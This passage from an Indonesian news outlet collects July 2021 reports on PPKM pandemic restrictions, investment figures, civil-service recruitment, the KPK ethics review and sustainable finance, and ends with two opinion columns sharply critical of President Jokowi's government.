tindakan pengibaran bendera putih itu merupakan ekspresi menolak PPKM, maka artinya masih ada masyarakat yang belum menerima informasi dengan baik soal kebijakan. Sementara, saat ini lanjut dia sudah ada penyesuaian-penyesuaian di PPKM untuk kegiatan ekonomi di sektor usaha kecil. Bobby mengatakan ada konsekuensi penegakan disiplin dan hukum kalau pengibaran bendera putih itu ternyata sebagai penanda tidak mau mematuhi PPKM. Menurut dia, pemerintah dan elemen masyarakat perlu bersinergi menyosialisasikan pentingnya kebijakan PPKM dalam memutus penyebaran virus. Kemudian, Bobby juga berharap masyarakat yang terdampak langsung dari pandemi, bisa tersentuh bantuan sosial, relaksasi pajak atau program-program bantuan lain dari Pemerintah. "Sehingga ada solusi bagi masyarakat terdampak," ujar Bobby. (sws)

DPR RI Minta Pemerintah Jelaskan Aturan Baru Kebijakan PPKM Level 4

Jakarta, FNN - Ketua DPR RI Puan Maharani meminta pemerintah menjelaskan secara rinci terkait aturan-aturan baru yang menjadi sorotan masyarakat dalam kebijakan penyesuaian pemberlakuan pembatasan kegiatan masyarakat (PPKM) yang telah diperpanjang hingga 2 Agustus 2021. "Pemerintah harus bisa menjelaskan dengan rinci aturan-aturan baru yang menjadi sorotan masyarakat, misalnya, aturan makan di warung maksimal 20 menit dalam penyesuaian PPKM Level 4," kata Puan dalam keterangannya di Jakarta, Selasa. Dia menilai, pemerintah harus bisa menjelaskan mengapa aturan batasan waktu makan tersebut bisa dianggap efektif untuk mencegah penularan COVID-19. Menurut dia, pemerintah juga harus menjelaskan terkait teknis pengawasannya, apakah hanya perlu kesadaran masyarakat atau bagaimana sehingga harus dijelaskan secara rinci. "Kalau ini dibiarkan tanpa penjelasan dan akhirnya hanya menjadi lelucon di masyarakat, saya khawatir justru akan menurunkan kepercayaan masyarakat terhadap Pemerintah," ujarnya. Selain itu menurut dia, membangun kepercayaan juga bisa dilakukan pemerintah lewat pelibatan masyarakat, misalnya, lewat program-program pemberdayaan masyarakat. Dia mencontohkan program-program pemberdayaan masyarakat tersebut yaitu mendirikan dapur umum dan bantuan untuk masyarakat yang sedang isolasi mandiri. "Pelibatan masyarakat akan mengubah paradigma bahwa pandemi ini bukan hanya masalah pemerintah, tetapi masalah kita bersama, sehingga kita semua jugalah yang harus bergotong-royong untuk sama-sama keluar dari masa-masa sulit ini," tutur-nya. Sebelumnya, Puan meminta pemerintah harus terus membangun kepercayaan masyarakat dalam proses pelaksanaan kebijakan PPKM yang telah diperpanjang hingga 2 Agustus 2021. "Bangun kepercayaan masyarakat mulai dari prosesnya, sampai masyarakat akhirnya merasakan langsung dampak positif dari kebijakan tersebut," ujarnya. Dia menilai, penyesuaian kebijakan yang sering dilakukan pemerintah terkait kebijakan PPKM harus mendapat dukungan, atau mencegah terjadinya penurunan kepercayaan masyarakat. Menurut dia, potensi penurunan kepercayaan tersebut harus dicegah bukan hanya dengan hasil akhir kebijakan yang harus baik, tetapi juga melalui proses yang bisa dipercaya masyarakat. (sws)

Menteri Investasi Ungkap Dampak Banyak Warga Asing Keluar dari RI

Jakarta, FNN - Menteri Investasi/Kepala Badan Koordinasi Penanaman Modal (BKPM) Bahlil Lahadalia mengungkapkan dampak banyaknya warga asing yang keluar dari Indonesia seiring lonjakan kasus COVID-19 yang terjadi di Indonesia. Menurut dia, hengkangnya warga negara asing yang umumnya tenaga ahli di perusahaan asing yang beroperasi di Indonesia tentu akan berdampak pada percepatan pekerjaan atau kinerja perusahaan. "Harus diakui setiap perusahaan yang sedang jalankan operasinya ketika sebagian tenaga ahlinya pulang, pasti ada dinamika di dalam percepatan pekerjaan itu. Nah dinamika ini harus kita mediasi (agar) bisa diselesaikan," kata Menteri Investasi Bahlil Lahadalia dalam paparan realisasi investasi triwulan II/Semester I 2021 secara daring, Selasa. Bahlil Lahadalia mengaku tak bisa memastikan pengaruh keluarnya tenaga asing itu terhadap jalannya investasi perusahaan asing di Tanah Air. "Apakah ada dampaknya di kuartal III? Saya belum bisa jawab sekarang, harus tanyakan ke mereka apa masalah dan solusi apa yang akan kami buat. Tolong kasih kami kesempatan sedikit untuk mendeteksi perusahaan mana saja yang tenaga ahlinya balik dan bagaimana agar cepat mereka datang," ujar Bahlil Lahadalia. Sepanjang Semester I 2021 realisasi investasi mencapai Rp442,8 triliun atau sebesar 49,2 persen dari target yang ditetapkan Presiden Jokowi sebesar Rp900 triliun. Capaian tersebut terdiri atas realisasi Penanaman Modal Asing (PMA) mencapai Rp228,5 triliun (51,6 persen) dan realisasi Penanaman Modal Dalam Negeri (PMDN) mencapai Rp214,3 triliun (48,4 persen). "Capaian Rp442,8 triliun itu dipersentasekan dari Rp900 triliun itu sudah mencapai 49,2 persen. Memang harus kami akui di kuartal ketiga ini pekerjaannya ekstra ketat karena kita kena PPKM ini di Juli-Agustus," kata Bahlil Lahadalia. Mantan Ketua Umum Hipmi itu menambahkan, tantangan yang dihadapi di triwulan III 2021 pun berat karena pada periode tersebut Indonesia mengalami kenaikan kasus COVID-19 tinggi. Namun, Bahlil mengaku hingga saat ini belum ada rencana untuk merevisi target. "Kalau ditanya apakah mau revisi target? Sampai sekarang saya belum terpikir, tapi kalau ditanya apa strateginya agar target tercapai, inii lagi dijalankan. Kasih kami waktu bekerja, kami bekerja siang dan malam untuk bagaimana bisa mendorong agar realisasi bisa tetap mencapai target," ujar Bahlil Lahadalia. (mth)

Legislator: Satgas COVID-19 Penajam Harus Tegas Agar PPKM Efektif

Penajam, FNN - Satuan Tugas Penanganan COVID-19 Kabupaten Penajam Paser Utara, Kalimantan Timur, harus tegas agar pengetatan PPKM bisa berjalan efektif, kata Ketua Komisi II Dewan Perwakilan Rakyat Daerah setempat Wakidi. "Pemerintah kabupaten harus terapkan PPKM (pemberlakuan pembatasan kegiatan masyarakat) secara tegas," ujarnya, di Penajam, Selasa. Masih banyak masyarakat Kabupaten Penajam Paser Utara, katanya, yang melakukan aktivitas yang menimbulkan kerumunan, seperti penyelenggaraan pesta pernikahan. Padahal Pemerintah Kabupaten Penajam Paser Utara telah menerapkan PPKM untuk menekan penyebaran wabah virus corona. "PPKM harus dilakukan dengan tegas agar tidak berpotensi menimbulkan kelompok penularan COVID-19 di wilayah Penajam Paser Utara," kata Wakidi. "Pemerintah kabupaten segera melakukan langkah-langkah terkoordinasi agar penyebaran virus corona menurun," tambahnya. Periode bulan Januari hingga Juli 2021 di Kabupaten Penajam Paser Utara tercatat ada 2.551 kasus COVID-19, sembuh 1.383 orang, dan meninggal dunia 98 orang. Pasien terkonfirmasi terinfeksi COVID-19 yang dirawat di Rumah Sakit Umum Daerah (RSUD) Ratu Aji Putri Botung sebanyak 42 orang. Sementara 1.028 pasien positif virus corona lainnya melakukan isolasi mandiri, baik di tempat yang disediakan Pemerintah Kabupaten Penajam Paser Utara maupun di rumah. (sws)

IDI Berkolaborasi dengan Masyarakat Bantu Nakes di Tengah Pandemi

Jakarta, FNN - Ikatan Dokter Indonesia (IDI) berkolaborasi bersama Anak Bangsa Peduli ikut menyediakan kebutuhan para tenaga kesehatan di tengah pandemi COVID-19 saat ini, salah satunya alat pelindung diri (APD) sesuai referensi dari Tim Mitigasi IDI. Ketua Tim Mitigasi IDI, dr Moh. Adib Khumaidi mengatakan ini bisa menjadi salah bentuk upaya perlindungan termasuk dorongan moral bagi para tenaga kesehatan. "Selain ini juga menjadi satu upaya untuk dorongan moral bagi tenaga medis, diharapkan juga bisa menjadi suatu kolaborasi di dalam dukungan untuk menjaga kesehatan, melindungi dan membantu teman-teman tenaga kesehatan," kata dia dalam konferensi pers yang digelar IDI, Selasa. Di sisi lain, dukungan yang ingin diberikan pada tenaga medis juga dalam bentuk produk kebutuhan selama isolasi mandiri. Menurut Adib, tak hanya masyarakat, para tenaga kesehatan juga mengalami kesulitan mendapatkan kebutuhan vitamin hingga obat selama isolasi mandiri. "Yang isoman jangan sampai sakitnya lebih parah, termasuk akses untuk obat. Kami mendapatkan antibiotik juga sulit, vitamin pun sulit. Kami berusaha untuk kemudian didukung. Tetapi tentunya kami berharap teman-teman nakes menyampaikan pada kami, sehingga bisa kami support," tutur dia. "Teman-teman tenaga kesehatan yang terpapar (COVID-19) untuk dokter sudah lebih dari 3000 sebenarnya. Pada Juli ini yang melakukan isoman sebenarnya cukup banyak. Inilah yang kemudian menjadi suatu kewajiban bagi organisasi (membantu), didukung civil society, kita support ini," sambung Adib. Adib menuturkan, IDI berencana berkoordinasi dengan organisasi kesehatan lainnya seperti Persatuan Perawat Nasional Indonesia (PPNI) dalam melebarkan gerakan membantu tenaga kesehatan ini. Tenaga kesehatan yang sedang menjalani isolasi mandiri nanti bisa menghubungi call center 0859106505279, lalu mengisi form yang diberikan tim. Selanjutnya, tim akan memverifikasi data dan melakukan pencatatan via sistem. Paket bantuan nantinya dikirimkan kepada mereka yang sedang menjalani isolasi mandiri. Di sisi lain, kepedulian pada tenaga medis ini juga demi menjaga agar tidak ada lagi dari mereka yang harus meregang nyawa di tengah upaya penanggulangan COVID-19. Data Tim Mitigasi IDI per 17 Juli 2021 mencatat, sudah sekitar 1323 orang tenaga kesehatan yang gugur akibat COVID-19. Adib berharap, gerakan membantu tenaga medis ini bisa menjadi role model yang juga dilakukan orang-orang di luar sana. "Kami harapkan ini menjadi role model yang bisa dilakukan oleh semua pihak untuk bisa mendukung kesehatan, membantu tenaga kesehatan sebagai bagian kita masih ingin tetap sehat, tetap bisa melayani masyarakat Indonesia," demikian kata Adib. (mth)

Jumlah Pelamar CASN Tahun 2021 Sebanyak 4.030.090 Orang

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo mengatakan rekrutmen calon aparatur sipil negara (CASN) telah ditutup pada Senin (26/7) malam dan terdapat 4.030.090 orang pelamar. "Jumlah calon ASN yang menyelesaikan pendaftaran sampai dengan penutupan tadi malam adalah 4.030.090 peserta," kata Tjahjo dalam keterangannya di Jakarta, Selasa. Jumlah pelamar itu terdiri atas 3.033.455 orang untuk lowongan calon pegawai negeri sipil (CPNS), 921.361 orang untuk posisi pegawai pemerintah dengan perjanjian kerja (PPPK) guru dan 75.337 orang untuk PPPK non-guru. Tjahjo menyampaikan jumlah pelamar CASN Tahun 2021 yang telah mengisi formulir sebanyak 4.542.134 peserta. Namun, peserta yang mengumpulkan (submit) formulirnya sebanyak 4.030.090 orang. Dari jumlah peserta yang telah mengumpulkan formulir tersebut, sebanyak 2.200.473 pelamar telah terverifikasi memenuhi syarat, 449.002 verifikasi tidak memenuhi syarat dan 1.380.615 belum terverifikasi. Pendaftaran CASN Tahun 2021 dibuka pada 30 Juni hingga 26 Juli secara daring melalui portal Sistem Seleksi CASN (SSCASN). Masa pendaftaran tersebut diperpanjang dari tenggat semula pada 21 Juli. Sebelumnya, Pelaksana Tugas (Plt) Kepala Biro Hubungan Masyarakat, Hukum dan Kerja Sama Badan Kepegawaian Negara (BKN) Paryono mengatakan seluruh proses seleksi CASN Tahun 2021 dijadwalkan berakhir pada Februari 2022. Proses akhir rangkaian seleksi CASN Tahun 2021 tersebut hingga penetapan nomor induk kepegawaian (NIK). Sebanyak 568 instansi pemerintah membuka formasi seleksi ASN Tahun 2021, yang terdiri atas 55 instansi pusat, 33 instansi pemerintah provinsi serta 480 instansi pemerintah kabupaten dan kota. Portal SSCASN terintegrasi dengan sejumlah database, yakni Data Nomor Induk Kependudukan (NIK) dari Kementerian Dalam Negeri; Data Guru Non-ASN dan lulusan PPG dari Kemenristekdikti, data Tenaga Honorer K2 dari BKN, Data Akreditasi Program Studi maupun Akreditasi Universitas dan Lembaga Pendidikan Tinggi dari Kemenristekdikti serta data Surat Tanda Registrasi (STR) untuk tenaga kesehatan. (sws)

KOI Upayakan Bawa Kejuaraan Kualifikasi Olimpiade 2024 ke Indonesia

Jakarta, FNN - Ketua Umum Komite Olimpiade Indonesia (KOI) Raja Sapta Oktohari mengatakan pihaknya tengah mengupayakan Indonesia agar bisa menjadi tuan rumah berbagai kejuaraan kualifikasi menuju Olimpiade 2024 Paris. Dalam memuluskan misi tersebut, pria yang akrab disapa Okto itu mengatakan terus memperluas jejaring dan memperkuat hubungan dengan Komite Olimpiade Internasional (IOC), Dewan Olimpiade Asia (OCA), dan pimpinan federasi olahraga internasional selama ia mendampingi atlet Indonesia berlaga di Olimpiade Tokyo. “Sebagai Ketua Komite Olimpiade Indonesia, saya akan memaksimalkan waktu selama berada di Tokyo ini untuk menjalin jaringan di luar negeri. Sebab, presiden federasi internasional, IOC, OCA, ANOC, termasuk semua presiden NOC di seluruh dunia," kata Okto dalam siaran pers yang diterima di Jakarta, Selasa. Upaya tersebut berbuah positif. Menurut Okto, Presiden Asosiasi Selancar Internasional (ISA) Fernando Aguerre memperkenankan Indonesia menjadi tuan rumah turnamen internasional yang sekaligus babak kualifikasi Olimpiade 2024 Paris. Atas kepercayaan ini, KOI akan berkomunikasi dengan Pengurus Besar Persatuan Selancar Ombak Indonesia (PB PSOI). “Kami akan berkomunikasi dengan PB PSOI sebagai pemegang hak untuk mengadakan event kualifikasi Olimpiade Paris. Apalagi, selancar itu dipastikan menjadi cabor resmi hingga Olimpiade 2032. Harapannya tentu kita bukan hanya sebagai tuan rumah tetapi bisa meloloskan atlet lebih banyak ke Olimpiade Paris," ujarnya. Selain itu, Okto juga akan terus menjalin komunikasi dengan ANOC untuk membicarakan kemungkinan penyelenggaraan satu kejuaraan dunia di Tanah Air. Hal ini penting dilakukan demi menambah jumlah atlet yang berlaga di Paris 2024. (mth)

Bupati Minta Kemenhumkam Segera Bangun Lapas di Penajam

Penajam, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) diminta segera membangun lembaga pemasyarakatan (lapas) di Kabupaten Penajam Paser Utara, Kalimantan Timur, karena telah diberi hibah tanah. Bupati Penajam Paser Utara Abdul Gafur Mas'ud di Penajam, Selasa, mengatakan pemerintah kabupaten telah menghibahkan tanah kepada Kemenkumham untuk pembangunan lapas. Hibah tanah sebagai lokasi pembangunan lapas itu diserahterimakan kepada Kantor Wilayah Kemenkumham Provinsi Kalimantan Timur. Lahan yang dihibahkan untuk pembangunan lapas seluas 49.520 meter persegi senilai Rp10 miliar. "Pembangunan lapas berkaitan dengan penegakan keadilan, jadi harus segera dibangun di Kabupaten Penajam Paser Utara," ujar Abdul Gafur Mas'ud. Lapas di Kabupaten Penajam Paser utara, katanya, harus segara dibangun agar penegakan keadilan di daerah ini dapat berjalan maksimal. Selama ini warga Kabupaten Penajam Paser Utara yang terlibat pidana, kata dia, dititipkan di Rutan (Rumah Tahanan) Tanah Grogot Kabupaten Paser. Namun, saat Rutan Tanah Grogot penuh, katanya, dititipkan di Rutan atau Lapas Kota Balikpapan. "Kami berharap pembangunan lapas yang dicanangkan sejak 2008 dapat segera terealisasikan setelah adanya hibah lahan sebagai lokasi pembangunan," ucapnya. Dasar pembangunan lapas tersebut sesuai amanah Menteri Dalam Negeri Nomor 19 Tahun 2016 tentang Pedoman Pengelolaan Milik Daerah. Pembangunan lapas di Kabupaten Penajam Paser Utara, kata dia, nantinya bisa mengurangi kepenuhan kapasitas lapas atau rutan di Kalimantan Timur. (mth)

KPK Jelaskan Proses TWK Tak Langgar Etik dari Hasil Pemeriksaan Dewas

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menjelaskan soal proses tes wawasan kebangsaan (TWK) tidak langgar etik berdasarkan hasil pemeriksaan Dewan Pengawas (Dewas) KPK. "Terkait pengaduan atas dugaan pelanggaran etik oleh Pimpinan KPK dalam TWK pada proses pengalihan Pegawai KPK menjadi ASN, kami sampaikan kembali bahwa dewas telah memeriksa pihak-pihak yang diyakini mengetahui informasi dan keterangan fakta yang diperlukan untuk mengumpulkan bukti terkait atas pengaduan tersebut," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Ali mengatakan para terperiksa yang terdiri dari lima orang Pimpinan KPK sebagai pihak terlapor, tiga orang dari pihak pelapor, tiga orang dari pihak internal KPK, dan lima orang dari pihak eksternal telah menyampaikan informasi yang mereka ketahui secara lengkap kepada dewas. Selain itu, kata dia, dewas juga memeriksa dokumen dan rekaman yang memuat 42 bukti. Dari hasil pemeriksaan tersebut, dewas menegaskan bahwa dalam proses dan pelaksanaan TWK tidak ada unsur kode etik yang dilanggar. "Dewas secara musyawarah dan mufakat berkesimpulan bahwa tujuh poin pengaduan dugaan pelanggaran kode etik dan pedoman perilaku dimaksud tidak memiliki kecukupan bukti sehingga tidak memenuhi syarat dilanjutkan ke sidang etik," ucap Ali. Dewas, lanjut Ali, terbuka terhadap semua pihak yang mengetahui atau memiliki informasi adanya dugaan pelanggaran kode etik dan pedoman perilaku yang dilakukan insan KPK untuk menyampaikan pengaduannya. Dewas juga berkomitmen untuk melakukan pengawasan terhadap insan KPK secara profesional dan transparan. "Tentu dalam rangka memastikan agar pelaksanaan tugas pemberantasan korupsi di lembaga ini taat asas dan peraturan serta mengedepankan nilai-nilai etik dan pedoman perilaku insan KPK," tutur-nya. Sebelumnya, Dewas KPK mengatakan tidak menemukan cukup bukti untuk melanjutkan ke sidang etik terkait dugaan pelanggaran etik lima orang Pimpinan KPK yang dilaporkan para pegawai. "Berdasarkan pertimbangan-pertimbangan maka Dewan Pengawas secara musyawarah dan mufakat berkesimpulan seluruh dugaan pelanggaran kode etik dan pedoman perilaku yang dilakukan oleh pimpinan KPK sebagaimana yang disampaikan dalam Surat Pengaduan kepada Dewan Pengawas, tidak cukup bukti sehingga tidak memenuhi syarat untuk dilanjutkan ke Sidang Etik," kata Ketua Dewas KPK Tumpak Hatorangan Panggabean dalam konferensi pers di Gedung KPK Jakarta, Jumat (23/7). Laporan dilayangkan oleh para pegawai KPK, yaitu Yudi Purnomo, Abdan Syakuro, dan Nita Adi Pangestuti sedangkan pihak terlapor adalah Firli Bahuri, Nurul Ghufron, Nawawi Pomolango, Alexander Marwata, dan Lili Pintauli Siregar. Para pelapor mengajukan tujuh butir pengaduan terkait penyusunan Peraturan Komisi (Perkom) No. 1 Tahun 2021 tentang Tata Cara Pengalihan Pegawai KPK menjadi Pegawai ASN seperti Ketua KPK Firli Bahuri menambahkan pasal mengenai TWK dalam rapat pimpinan 25 Januari 2021 ke dalam draf Perkom No. 01 Tahun 2021 sebelum dibawa ke Kemenkumham untuk rapat harmonisasi. Selanjutnya, Firli menghadiri sendirian rapat pembahasan draf Perkom No. 01 Tahun 2021 pada 26 Januari 2021 di Kemenkumham dengan membawa draf perkom yang telah ada tambahan pasal mengenai TWK. (mth)

OJK Akan Siapkan Satgas Percepat Implementasi Keuangan Berkelanjutan

Jakarta, FNN - Otoritas Jasa Keuangan (OJK) akan menyiapkan satuan tugas atau task force untuk mempercepat implementasi inisiatif keuangan berkelanjutan di Tanah Air untuk meningkatkan kualitas hidup masyarakat di Indonesia lintas generasi. "OJK akan menyiapkan Task Force Keuangan Berkelanjutan dan bekerja sama dengan industri untuk menanggapi diskusi tentang keuangan berkelanjutan di forum nasional, regional dan global," kata Ketua Dewan Komisioner OJK Wimboh Santoso dalam gelaran ESG Capital Market Summit 2021 di Jakarta, Selasa. Wimboh optimistis melalui koordinasi yang baik dalam penyusunan kebijakan dan regulasi, serta kerja sama dan komitmen yang tinggi dari seluruh pihak yang terkait, maka keuangan berkelanjutan di Indonesia akan dapat diterapkan dengan optimal untuk mencapai tujuan global yang telah ditetapkan dalam Paris Agreement dan Tujuan Pembangunan Berkelanjutan (Sustainable Development Goals/SDGs). Dalam rangka mendukung komitmen pemerintah di Paris Agreement dan mencapai SDGs, lanjut Wimboh, OJK telah membuat Roadmap Keuangan Berkelanjutan Tahap I (2015-2019) dan Tahap II (2021-2025). Salah satu bentuk implementasi dari Roadmap tahap I yaitu OJK telah mewajibkan lembaga jasa keuangan untuk menyusun Rencana Aksi Keuangan Berkelanjutan (RAKB) dan menyampaikan Laporan Keberlanjutan (Sustainability Report) bagi lembaga jasa keuangan, emiten dan perusahaan publik. OJK juga telah menerbitkan beberapa ketentuan untuk mendukung implementasi keuangan berkelanjutan antara lain POJK Nomor 51 Tahun 2017 tentang Penerapan Keuangan Berkelanjutan bagi Lembaga Jasa Keuangan (LJK), Emiten dan Perusahaan Publik, POJK Nomor 60 Tahun 2017 tentang Penerbitan dan Persyaratan Efek Bersifat Utang Berwawasan Lingkungan (Green Bond), Keputusan Dewan Komisioner Nomor 24 Tahun 2018 tentang Insentif Pengurangan Biaya Pungutan sebesar 25 persen dari Biaya Pendaftaran dan Pernyataan Pendaftaran Green Bond, dan pada 2020 OJK juga telah mengeluarkan insentif untuk mendukung Kendaraan Bermotor Listrik Berbasis Baterai (KBL BB) melalui pengecualian BMPK dalam proyek produksi KBL BB, serta keringanan penghitungan ATMR dan penilaian kualitas kredit dalam pembelian KBL BB oleh konsumen. Para pemangku kepentingan juga telah merespon kebijakan-kebijakan OJK dalam bidang keuangan berkelanjutan dimaksud, melalui terbentuknya Inisiatif Keuangan Berkelanjutan Indonesia yang saat ini terdiri dari 13 bank dan PT Sarana Multi Infrastruktur (SMI) yang telah siap mendukung implementasi keuangan berkelanjutan, dan penyaluran kredit/pembiayaan kepada sektor-sektor ekonomi berorientasi hijau sebesar lebih dari Rp800 triliun yang diharapkan akan terus berkembang setelah adanya taksonomi hijau yang sedang disusun. Selanjutnya ada penerbitan green bonds di Bursa Efek Indonesia (BEI) oleh SMI sebesar Rp500 miliar dengan target Rp3 trilliun, penerbitan Global Sustainability/Green Bond sekitar 1,9 miliar dolar AS atau setara Rp27,4 riliun di Singapore Exchange oleh Bank Rakyat Indonesia, Bank Mandiri, serta PT Barito Pacific Tbk. Selain itu OCBC NISP juga menerbitkan green bond dan gender bond dengan nilai sebesar Rp60 triliun yang dilakukan melalui mekanisme private placement dengan IFC. Selain indeks SRI – Kehati yang saat ini terdiri dari 25 emiten bursa, BEI juga meluncurkan ESG Leaders Index untuk mewadahi permintaan yang tinggi atas reksadana dan Exchange Traded Fund (ETF) bertema ESG. "Setelah mengimplementasikan Roadmap Keuangan Berkelanjutan Tahap I yang lebih berfokus pada peningkatan pemahaman, keterbukaan, dan komitmen industri keuangan, selanjutnya OJK mempunyai inisiatif keuangan berkelanjutan," ujar Wimboh. Inisiatif keuangan berkelanjutan tersebut berfokus pada penyelesaian Taksonomi Hijau, sebagai pedoman dalam pengembangan produk-produk inovatif dan/atau keuangan berkelanjutan serta sustainable financial disclosure. Inisiatif tersebut juga sejalan dengan pengembangan regulasi mengenai pelaporan industri jasa keuangan ke OJK. Dalam mengembangkan Taksonomi Hijau, OJK secara aktif ikut serta dalam Financial Stability Board (FSB), khususnya terkait sustainable financial disclosure untuk Lembaga Jasa Keuangan dalam FSB - Workstream on Climate Disclosures/WSCD dan ASEAN Taxonomy Board. OJK juga fokus mengembangkan kerangka manajemen risiko untuk industri jasa keuangan dan pedoman pengawasan berbasis risiko untuk pengawas dalam rangka menerapkan risiko keuangan terkait iklim. Dalam mengembangkan kerangka manajemen risiko dimaksud, OJK secara aktif ikut serta dalam di FSB - Working Group on Climate Risk/WGCR. Selain itu, OJK mengembangkan skema pembiayaan atau pendanaan proyek yang inovatif dan layak serta meningkatkan awareness dan capacity building untuk seluruh pemangku kepentingan. (mth)

Jokowi Sebaiknya Kibarkan Bendera Putih

By M Rizal Fadillah Bandung, FNN - Bukan semata beratnya pandemi yang harus ditangani dengan serius dan dana besar, tetapi tingkat kepercayaan masyarakat yang sulit didongkrak untuk meningkatkan kewibawaan Pemerintah yang menjadi problem terbesar dalam pengelolaan negara. Sementara soliditas kabinet juga nampak semakin mengendur. Kecenderungan Pemerintahan Jokowi yang kekiri-kirian membuat rakyat resah. RRC bukan sahabat baik buat bangsa kita walaupun pengaruhnya tak bisa dinafikan. Ucapan selamat ulang tahun kepada Partai Komunis Cina (PKC) oleh seorang Ketua Umum Partai telah menuai kritik dan kecaman. Komunis masih menjadi musuh berbahaya bagi negara Republik Indonesia. Desakan untuk mundur dari jabatan Presiden mulai terdengar dan semakin ramai. Tentu belum dalam bentuk aksi lapangan. Mungkin faktor pandemi yang masih menakutkan. Meskipun demikian semangat perubahan itu cukup kuat bagai api dalam sekam. Presiden Jokowi hingga kini belum bisa menunjukkan prestasi yang menjanjikan dalam upaya mengangkat kewibawaan pemerintahannya. Hangatnya aspirasi di media sosial benar bukan ukuran tetapi hal itu selayaknya menjadi bahan bacaan serius bagi Pemerintah. Media sosial adalah sarana artikulasi politik efektif di tengah kemacetan lembaga penyalur aspirasi yang bernama DPR. Partai Politik kini sedang sakit gigi dan terkooptasi. Ada fenomena menarik saat ini yakni TNI yang mulai menggeliat. Agenda latihan bersama TNI AD dengan pasukan Amerika Serikat "Garuda Shield" di Sumatera Selatan, Kalimantan, dan Sulawesi Utara tanggal 1 sampai dengan 14 Agustus yang akan datang bukan agenda biasa. Ada nuansa psiko-politis dan gambaran dari peta pertarungan lokal, nasional, maupun global. Amerika versus China. Menteri Pertahanan AS Lloyd Austin berkunjung ke negara Asia Tenggara Singapura, Vietnam, dan Filipina untuk menangkal pengaruh China di kawasan khususnya dalam konflik Laut China Selatan. Pengamat militer Kanjeng Senopati menganalisis bahwa latihan gabungan terbesar yang juga melibatkan Australia, Thailand, dan India ini dapat dilihat dari "two lines of government power" yang "hidden" yaitu pemerintahan sipil dan pemerintahan militer. Kekuatan militer di negeri ini punya jalan yang bisa saja berbeda dengan oligarki pemerintahan Jokowi. Kehadiran ribuan pasukan Amerika adalah tekanan politik bagi pemerintahan Jokowi yang pro-China. Tentu hal ini akan menambah beban fikiran baru untuk mampu bertahan. Teringat dulu saat kejatuhan Soekarno dan Soeharto yang nyatanya tidak bisa dilepaskan dari tekanan politik Amerika pula. Atmosfir dukungan yang lemah dari rakyat kepada Jokowi membuka pintu bagi kekuatan global untuk masuk lebih cepat. Apalagi umat Islam di Indonesia itu sangat anti kepada para pendukung komunis. Pemerintah Jokowi tidak bersahabat dengan potensi kekuatan umat Islam. Peristiwa 1965 dalam bentuk yang sedikit berbeda bukan hal mustahil untuk terulang. Karenanya demi kebaikan bangsa dan arah perkembangan politik yang sudah mulai terbaca. Masa depan bukan milik Jokowi. Perlu perenungan seksama sekaligus ini adalah momen yang tepat untuk segera mengibarkan bendera putih. Demi bendera merah putih. *) Pemerhati Politik dan Kebangsaan

Indonesia Makin tidak Baik-baik Saja

PENANGANAN berbagai masalah di negeri ini semakin carut-marut. Kondisi bangsa semakin memprihatinkan. Pada saat rakyat melakukan kritik terhadap jalannya pengelolaan negara, pemerintah malah menganggapnya sebagai musuh. Sejumlah aktivis pun sudah dipenjarakan. Persoalan bangsa ini semakin kacau karena elitenya yang lebih mengedepankan kepentingan kelompok dan dirinya. Lihat saja dalam penanganan Covid-19 yang amburadul. Rakyat disuruh vaksin gratis. Memasuki kawasan tertentu, rakyat harus menunjukkan kartu tanda sudah divaksin. Misalnya, pedagang dan pengunjung yang mau datang ke Pasar Tanah Abang, Jakarta Pusat (khususnya gedung yang dikelola Perusahaan Daerah Pasar Jaya) harus menunjukkan kartu vaksin. Tanpa itu, ditolak masuk ke gedung. Aturan tersebut sangat mengada-ngada. Sebab, ketersediaan vaksin yang disiapkan pemerintah masih terbatas. Belum menjangkau seluruh lapisan masyarakat. Aturan harus memperlihatkan kartu vaksin itu juga sangat tidak masuk akal. Mestinya, aturan seperti itu tidak perlu diberlakukan. Jika aturan itu diterapkan secara paksa dan permanen, itu artinya mengingatkan kita pada aturan zaman orde baru dan masih berlaku beberapa tahun setelah reformasi. Aturan itu adalah tidak memberikan layanan kependudukan (pembuatan Kartu Tanda Penduduk, surat keterangan pindah, surat pengantar mau menikah, surat pengantar akte kelahiran anak, dan surat tanda kematian) jika belum melunasi PBB (Pajak Bumi dan Bangunan). Padahal, tidak ada kolerasinya. Akan tetapi, karena terpaksa, rakyat terkadang harus kembali ke rumah, mengambil bukti tanda pelunasan PBB. Aneh. Aturan kuno mau diterapkan. Kalaupun mau diterapkan, mestinya pemerintah menunggu sampai seluruh rakyat Indonesia divaksin. Vaksin gratis bagus. Akan tetapi, yang lebih penting dan sangat mendesak adalah bagaimana rakyat bisa mendapatkan obat dengan mudah dan gratis. Sebab, rakyat yang sudah semakin susah, dan ketika kena Covid-19 kemudian melakukan isolasi mandiri (isoman) banyak yang kesulitan mendapatkan obat. Akhirnya, banyak yang meninggal saat isoman. Jangankan yang isoman, yang dirawat di rumah sakit pun banyak yang tidak mendapatkan obat dan pelayanan kesehatan secara maksimal. Coba tonton video seorang ibu yang dirawat di rumah sakit dengan napas tersengal-sengal meminta pulang karena tidak diberikan obat dan air minum. Miris menonton videonya. Rumah sakit penuh pasien. Antrean yang mau dirawat sering terlihat di rumah sakit dan bahkan sampai mendirikan tenda darurat, tempat ranjang perawatan. Wajar antre karena pasien tiba-tiba membludak. Di sisi lain, tenaga medis yang menangani atau melayani pasien sangat terbatas. Tenaga medis pun kelelahan. Tidak heran banyak tenaga medis yang gugur karena menjalankan tugas. Mereka adalah, "Pahlawan Kesehatan." Tidak sedikit juga tenaga medis yang mengundurkan diri. Lebih memprihatinkan lagi ketika jenazah yang mau keluar dari rumah sakit ikut antre. Hal itu terjadi karena selain ambulans yang terbatas, juga tenaga penggali kubur yang kewalahan dan kelelahan. Covid-19 pun seakan-akan dijadikan pembenaran atas kesalahan pengelolaan negara Pancasila ini. Misalnya, pertumbuhan ekonomi nyungsap, daya beli anjlok, PHK terjadi di mana-mana. Jika ditanyakan penyebabnya kepada pemerintah, maka paduan suara keluar, "Karena Covid-19." Paduan suara itu pun diikuti oleh para buzzer yang mati-matian membela rezim. Buzzer yang tidak punya malu dan harga diri. Padahal, jika kita merunut ke belakang, periode pertama pemerintahan Joko Widodo dan M. Jusuf Kalla, perekonomian sudah tidak menggembirakan alias merosot. Saat kampanye, mereka 